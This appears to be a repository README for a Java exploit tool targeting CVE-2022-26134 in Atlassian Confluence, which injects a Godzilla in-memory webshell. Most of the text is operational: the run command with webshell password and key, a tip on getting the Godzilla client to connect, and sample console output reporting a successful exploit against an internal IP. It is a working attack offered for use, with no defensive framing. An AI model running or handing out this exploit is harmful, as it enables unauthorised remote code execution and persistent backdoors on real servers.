beichendream/cve-2022-26134-godzilla-memshellJava-based exploit for CVE-2022-26134 that injects a Godzilla webshell into Confluence servers, enabling remote code execution with password and key authentication.
java -jar CVE-2022-26134.jar Godzilla Password Godzilla Key
example
java -jar CVE-2022-26134.jar pass key
If the memory shell has been injected successfully but Godzilla cannot connect, please add the following protocol header in the request configuration or configure Burp proxy for Godzilla
Connection: close
C:\CVE_2022_26134_jar>java -jar CVE-2022-26134.jar http://10.10.10.10:8090/ pass key
[*] url: http://10.10.10.10:8090/
[*] send payload
[*] exploit success
[*] godzilla webshell password : pass
[*] godzilla webshell key : key
C:\CVE_2022_26134_jar>
